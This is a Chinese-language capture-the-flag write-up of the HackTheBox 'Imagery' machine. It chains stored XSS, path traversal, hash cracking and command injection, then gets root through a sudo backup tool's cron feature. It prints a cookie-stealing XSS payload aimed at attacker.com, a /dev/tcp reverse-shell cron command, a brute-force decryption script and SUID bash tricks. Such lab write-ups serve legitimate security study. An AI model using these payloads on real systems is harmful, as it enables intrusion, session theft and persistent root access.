目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/HTB]
└─$ sudo nmap -p- --min-rate 10000 10.10.11.88 -oA ports
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.88
Host is up (0.20s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt

Nmap done: 1 IP address (1 host up) scanned in 8.76 seconds

web 渗透

看到 8000 端口开了 http 服务,上去查看:

image1

是个可以可以保存图片的网站,可以注册和登录,注册一个账号之后登录上去。

登录之后发现可以上传图片,接着还有一个叫 Report Bug 的页面,应该是可以反馈 BUG ,随便输入点内容发送,后台返回了 Bug report submitted. Admin review in progress.,说是 Admin 会在后台查看。

image2

想到如果 admin 会查看这个 bug report ,可能这里会存在 XSS ,因此把一个获取 cookie 的 XSS payload 发送给 bug report:

<img src=x onerror="document.body.appendChild(document.createElement('script')).src='http://attacker.com/?c='+document.cookie">

接着在本地监听:

image3

发现本地接受到了 admin 的 cookie ,用这个 cookie 去访问网站:

image4

发现多了一个 admin 的页面,这个页面可以下载一些 log 文件,这个文件下载的功能存在本地文件读取漏洞:

image5

由于前面通过 web 页面的 Server 响应头发现后台是由 Werkzeug/3.1.3 Python/3.12.7 搭建的,因此想到搭建的文件名应该叫 app.py ,获取这个文件:

1
2
┌──(kali㉿kali)-[~]
└─$ curl -H 'Cookie:session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aVYkmw.QD2-0GOYVGrZOa27C02JA9NdPHU' '10.10.11.88:8000/admin/get_system_log?log_identifier=../app.py' > app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from flask import Flask, render_template
import os
import sys
from datetime import datetime
from config import *
from utils import _load_data, _save_data
from utils import *
from api_auth import bp_auth
from api_upload import bp_upload
from api_manage import bp_manage
from api_edit import bp_edit
from api_admin import bp_admin
from api_misc import bp_misc

app_core = Flask(__name__)
app_core.secret_key = os.urandom(24).hex()
app_core.config['SESSION_COOKIE_HTTPONLY'] = False

app_core.register_blueprint(bp_auth)
app_core.register_blueprint(bp_upload)
app_core.register_blueprint(bp_manage)
app_core.register_blueprint(bp_edit)
app_core.register_blueprint(bp_admin)
app_core.register_blueprint(bp_misc)

@app_core.route('/')
def main_dashboard():
return render_template('index.html')

if __name__ == '__main__':
current_database_data = _load_data()
default_collections = ['My Images', 'Unsorted', 'Converted', 'Transformed']
existing_collection_names_in_database = {g['name'] for g in current_database_data.get('image_collections', [])}
for collection_to_add in default_collections:
if collection_to_add not in existing_collection_names_in_database:
current_database_data.setdefault('image_collections', []).append({'name': collection_to_add})
_save_data(current_database_data)
for user_entry in current_database_data.get('users', []):
user_log_file_path = os.path.join(SYSTEM_LOG_FOLDER, f"{user_entry['username']}.log")
if not os.path.exists(user_log_file_path):
with open(user_log_file_path, 'w') as f:
f.write(f"[{datetime.now().isoformat()}] Log file created for {user_entry['username']}.\n")
port = int(os.environ.get("PORT", 8000))
if port in BLOCKED_APP_PORTS:
print(f"Port {port} is blocked for security reasons. Please choose another port.")
sys.exit(1)
app_core.run(debug=False, host='0.0.0.0', port=port)

可以看到上面出现了一些依赖文件,像是 config、api_manage、api_edit、api_admin 等等,用同样的方法获取这些文件。

接着,在 config.py 里面,看到了一个内容:

1
2
3
DATA_STORE_PATH = 'db.json'
UPLOAD_FOLDER = 'uploads'
SYSTEM_LOG_FOLDER = 'system_logs'

这里泄漏了一个文件叫 db.json ,下载看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
{
"users": [
{
"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
"isAdmin": true,
"displayId": "a1b2c3d4",
"login_attempts": 0,
"isTestuser": false,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"isAdmin": false,
"displayId": "e5f6g7h8",
"login_attempts": 0,
"isTestuser": true,
"failed_login_attempts": 0,
"locked_until": null
}
],
"images": [],
"image_collections": [
{
"name": "My Images"
},
{
"name": "Unsorted"
},
{
"name": "Converted"
},
{
"name": "Transformed"
}
],
"bug_reports": []
}

有 admin 和 testuser 的密码哈希,发现 testuser 的哈希可以被破解,是 iambatman ,用这个用户名密码登录上去。

登录之后,发现 testuser 可以对自己上传的图片做一些操作:

image6

这些操作的源代码在 api_edit.py 这个文件里,其中的一部分内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
if not session.get('is_testuser_account'):
return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
if 'username' not in session:
return jsonify({'success': False, 'message': 'Unauthorized. Please log in.'}), 401
request_payload = request.get_json()
image_id = request_payload.get('imageId')
transform_type = request_payload.get('transformType')
params = request_payload.get('params', {})
if not image_id or not transform_type:
return jsonify({'success': False, 'message': 'Image ID and transform type are required.'}), 400
application_data = _load_data()
original_image = next((img for img in application_data['images'] if img['id'] == image_id and img['uploadedBy'] == session['username']), None)
if not original_image:
return jsonify({'success': False, 'message': 'Image not found or unauthorized to transform.'}), 404
original_filepath = os.path.join(UPLOAD_FOLDER, original_image['filename'])
if not os.path.exists(original_filepath):
return jsonify({'success': False, 'message': 'Original image file not found on server.'}), 404
if original_image.get('actual_mimetype') not in ALLOWED_TRANSFORM_MIME_TYPES:
return jsonify({'success': False, 'message': f"Transformation not supported for '{original_image.get('actual_mimetype')}' files."}), 400
original_ext = original_image['filename'].rsplit('.', 1)[1].lower()
if original_ext not in ALLOWED_IMAGE_EXTENSIONS_FOR_TRANSFORM:
return jsonify({'success': False, 'message': f"Transformation not supported for {original_ext.upper()} files."}), 400
try:
unique_output_filename = f"transformed_{uuid.uuid4()}.{original_ext}"
output_filename_in_db = os.path.join('admin', 'transformed', unique_output_filename)
output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
if transform_type == 'crop':
x = str(params.get('x'))
y = str(params.get('y'))
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

可以看到在 transform 操作里的 corp 选项可以用 subprocess 执行系统命令,而且执行的内容是获取 post 数据之后直接加上去的。

因此,我们或许可以控制 post 数据里的 x 的内容,从而尝试命令注入。

获取立足点

用 burp 拦截后发送反弹 shell 的数据:

image7

接着在本地收到了反弹回来的 shell:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/HTB/imagery]
└─$ nc -nvlp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.11.88 55020
bash: cannot set terminal process group (1353): Inappropriate ioctl for device
bash: no job control in this shell
web@Imagery:~/web$ whoami
whoami
web
web@Imagery:~/web$

提权

提升到 mark

我们现在是 web 这个用户,但是这个用户没有 user flag,还有一个用户叫 mark ,我们得想办法移动到 mark 这个用户的权限。

在系统里面搜索,发现了在 /var/backup 这个目录下有一个叫 web_20250806_120723.zip.aes 的文件,拿到本地查看信息:

1
2
3
┌──(kali㉿kali)-[~/HTB/imagery]
└─$ file web.zip.aes
web.zip.aes: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"

把这一串拿给 AI ,他说这是 pyAesCrypt 加密的文件,可以用字典尝试解密,然后给了一个解密的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3
import os
import sys
import pyAesCrypt

def simple_decrypt():
if len(sys.argv) < 2:
print("用法: python3 decrypt_simple.py <加密文件> [字典文件]")
sys.exit(1)

encrypted_file = sys.argv[1]
wordlist = sys.argv[2] if len(sys.argv) > 2 else None

# 首先尝试一些常见密码
common = ["", "password", "admin", "123456", "web", "backup"]

for pwd in common:
try:
print(f"尝试: '{pwd}'")
pyAesCrypt.decryptFile(encrypted_file, "decrypted.zip", pwd, 64*1024)
print(f"成功! 密码是: '{pwd}'")
return
except:
continue

# 如果有字典文件,尝试字典
if wordlist and os.path.exists(wordlist):
try:
# 使用 latin-1 编码避免编码问题
with open(wordlist, 'r', encoding='latin-1') as f:
passwords = [line.strip() for line in f if line.strip()]
except:
# 如果 latin-1 也失败,用二进制模式
with open(wordlist, 'rb') as f:
passwords = [line.strip().decode('latin-1') for line in f]

for pwd in passwords:
try:
print(f"尝试: '{pwd}'")
pyAesCrypt.decryptFile(encrypted_file, "decrypted.zip", pwd, 64*1024)
print(f"成功! 密码是: '{pwd}'")
return
except:
continue

print("没有找到正确密码")

if __name__ == "__main__":
simple_decrypt()

rockyou.txt 尝试解密,解出来密码是 bestfriends ,而且脚本已经把解密后的文件放到了 decrypted.zip 文件里,解压它。

解压之后发现里面是 web 的备份文件,在 db.json 里面放着 mark 的密码哈希:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
{
"users": [
{
"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
"displayId": "f8p10uw0",
"isTestuser": false,
"isAdmin": true,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"displayId": "8utz23o5",
"isTestuser": true,
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "mark@imagery.htb",
"password": "01c3d2e5bdaf6134cec0a367cf53e535",
"displayId": "868facaf",
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
},
{
"username": "web@imagery.htb",
"password": "84e3c804cf1fa14306f26f9f3da177e0",
"displayId": "7be291d4",
"isAdmin": true,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
}
],
"images": [],
"bug_reports": [],
"image_collections": [
{
"name": "My Images"
},
{
"name": "Unsorted"
},
{
"name": "Converted"
},
{
"name": "Transformed"
}
]
}

这个哈希可以在 cmd5 解出来,是 supersmash

尝试 ssh 登录发现 ssh 因为 public key 被 reject 了,直接在获得的反弹 shell 里 su 到 mark:

1
2
3
4
5
6
7
web@Imagery:/var/backup$ su mark
su mark
Password: supersmash
whoami
mark
python3 -c "import pty;pty.spawn('/bin/bash')"
mark@Imagery:/var/backup$

拿到 user flag:

1
2
3
mark@Imagery:~$ cat user.txt
cat user.txt
77f119c56d78bc53474e45500*******

提升到 root

sudo -l 发现 mark 用户可以执行一个程序:

1
2
3
4
5
6
7
8
9
10
mark@Imagery:~$ sudo -l
sudo -l
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol
mark@Imagery:~$

无法拿到本地查看程序内容,那就通过它的 help 分析这个程序,发现这是个备份文件的程序,但是需要一个密码才能使用:

1
2
3
4
5
6
7
mark@Imagery:~$ sudo /usr/local/bin/charcol shell
sudo /usr/local/bin/charcol shell
Enter your Charcol master passphrase (used to decrypt stored app password):
supersmash

[2026-01-01 08:21:59] [ERROR] Incorrect master passphrase. 2 retries left. (Error Code: CPD-002)
Enter your Charcol master passphrase (used to decrypt stored app password):

但是在它的 help 里面说了,可以使用 -R 选项来重置密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mark@Imagery:~$ sudo /usr/local/bin/charcol help
sudo /usr/local/bin/charcol help
usage: charcol.py [--quiet] [-R] {shell,help} ...

Charcol: A CLI tool to create encrypted backup zip files.

positional arguments:
{shell,help} Available commands
shell Enter an interactive Charcol shell.
help Show help message for Charcol or a specific command.

options:
--quiet Suppress all informational output, showing only
warnings and errors.
-R, --reset-password-to-default
Reset application password to default (requires system
password verification).
mark@Imagery:~$

那就重置它的密码为空密码,再使用 sudo /usr/local/bin/charcol shell 启动它的命令行环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mark@Imagery:~$ sudo /usr/local/bin/charcol shell
sudo /usr/local/bin/charcol shell

░██████ ░██ ░██
░██ ░░██ ░██ ░██
░██ ░████████ ░██████ ░██░████ ░███████ ░███████ ░██
░██ ░██ ░██ ░██ ░███ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░███████ ░██ ░██ ░██ ░██ ░██
░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██
░██████ ░██ ░██ ░█████░██ ░██ ░███████ ░███████ ░██



Charcol The Backup Suit - Development edition 1.0.0

[2026-01-01 08:25:12] [INFO] Entering Charcol interactive shell. Type 'help' for commands, 'exit' to quit.
charcol>

可以在命令行环境里使用 help 来查看帮助。

在 help 里面,看到了这样的内容:

1
2
3
4
5
6
7
8
9
10
11
12
Automated Jobs (Cron):
auto add --schedule "<cron_schedule>" --command "<shell_command>" --name "<job_name>" [--log-output <log_file>]
Purpose: Add a new automated cron job managed by Charcol.
Verification:
- If '--app-password' is set (status 1): Requires Charcol application password (via global --app-password flag).
- If 'no password' mode is set (status 2): Requires system password verification (in interactive shell).
Security Warning: Charcol does NOT validate the safety of the --command. Use absolute paths.
Examples:
- Status 1 (encrypted app password), cron:
CHARCOL_NON_INTERACTIVE=true charcol --app-password <app_password> auto add \
--schedule "0 2 * * *" --command "charcol backup -i /home/user/docs -p <file_password>" \
--name "Daily Docs Backup" --log-output <log_file_path>

它说可以指定一个自动化任务,而且这个自动化任务的命令是可以被指定的。

那我们直接启动一个反弹 shell 的任务,因为这个程序是通过 sudo 来执行的,所以反弹之后的 shell 应该是 root 的 shell。

1
2
3
4
5
6
7
8
9
10
charcol> auto add --schedule "* * * * *" --name shell --command "bash -c 'bash -i >&/dev/tcp/10.10.XX.XX/4567 0>&1'"
<bash -c 'bash -i >&/dev/tcp/10.10.XX.XX/4567 0>&1'"
[2026-01-01 08:29:39] [INFO] System password verification required for this operation.
Enter system password for user 'mark' to confirm:
supersmash

[2026-01-01 08:29:43] [INFO] System password verified successfully.
[2026-01-01 08:29:43] [INFO] Auto job 'shell' (ID: 5615aa3a-414b-4f51-8e74-309757f4ae36) added successfully. The job will run according to schedule.
[2026-01-01 08:29:43] [INFO] Cron line added: * * * * * CHARCOL_NON_INTERACTIVE=true bash -c 'bash -i >&/dev/tcp/10.10.XX.XX/4567 0>&1'
charcol>

上面的 --schedule "* * * * * *" 表示每分钟执行一次这个任务。

接着在本地就接受到了 root 弹回来的 shell:

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4567
Listening on 0.0.0.0 4567
Connection received on 10.10.11.88 58874
bash: cannot set terminal process group (67421): Inappropriate ioctl for device
bash: no job control in this shell
root@Imagery:~# whoami
whoami
root
root@Imagery:~#

拿到 root flag:

1
2
3
4
root@Imagery:~# cat root.txt
cat root.txt
d7b47db5ff32d49484934c074*******
root@Imagery:~#

PS

在使用自动化任务提升到 root 的时候,我尝试把 /bin/bash 复制到 /tmp 目录下,接着 chmod +s /tmp/bash ,发现 /tmp/bash -p 之后还是 mark 用户,始终无法提升到 root。

询问了 AI ,他说可以使用 mount | grep "tmp" 来查看 /tmp 目录的挂载情况,如果出现类似 /dev/sda1 /tmp ext4 rw,nosuid,nodev 0 0 的结果,其中的 nosuid 表示 SUID 在 /tmp 目录下无效。

我使用了这个方法,果然发现是 tmpfs on /tmp type tmpfs (rw,nosuid,nodev,nr_inodes=1048576,inode64),所以 bash 移动到 /tmp 目录之后,无法使用 /tmp/bash -p 提权。

如果直接 chmod +s /bin/bash ,则可以使用 /bin/bash -p 来提升到 root 权限。